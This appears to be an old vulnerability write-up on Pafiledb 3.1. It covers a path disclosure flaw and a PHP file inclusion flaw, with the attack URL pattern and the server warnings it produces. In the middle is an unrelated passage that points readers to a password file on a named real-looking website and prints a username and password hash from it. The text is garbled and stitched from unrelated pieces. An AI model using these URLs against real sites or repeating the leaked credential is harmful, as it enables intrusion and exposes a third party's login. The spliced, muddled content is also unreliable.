Discussion: 
--------------------
What is the bug ?
There is a Full Path Disclosure vulnerability in Pafiledb 3.1 which ends to disclosure
of page local location on the web server.There is nother bug which let`s h4cK3r
inject php codes and run them on server.

Where is the bug ?
At line 25 of pafiledb.php :

[
if ($login == "do") { include "./includes/$action/login.php"; exit; }
]

as we see $action is used in above statement and it`s not declared yet so h4ck3r can
use it for PHP Injection attacks by passing his malicouse string from URL .


Exploit:
--------------------
its very easy expolit 
and here we will learn how to hack from it 
put "wwwboard/passwd.txt" after the url 
exampel www.xxx.comwwwboard/passwd.txt 
and here is the real exampel 
http://www.boardprep.net/wwwboard/passwd.txt 
and you will see the user name and passwaord in md5 
usernameassword 
cknouse:aexMVWnDOyrdE 
[
http://www.example.com/pafiledb.php?login=do&action=[value]
]

which includes PHP codes in :

[
./includes/[value]/login.php
]

and if PHP page doesn`t realy exist at that address , server returns warring page
like this :

[

Warning: main(./includes/value/login.php): failed to open stream: No such file or
directory in /home/host/public_html/downloads/pafiledb.php on line 25

Warning: main(./includes/value/login.php): failed to open stream: No such file or
directory in /home/host/public_html/downloads/pafiledb.php on line 25

Warning: main(): Failed opening './includes/value/login.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php')
in /home/host/public_html/downloads/pafiledb.php
on line 25

]

and this message shows local address of pafiledb.php on server.
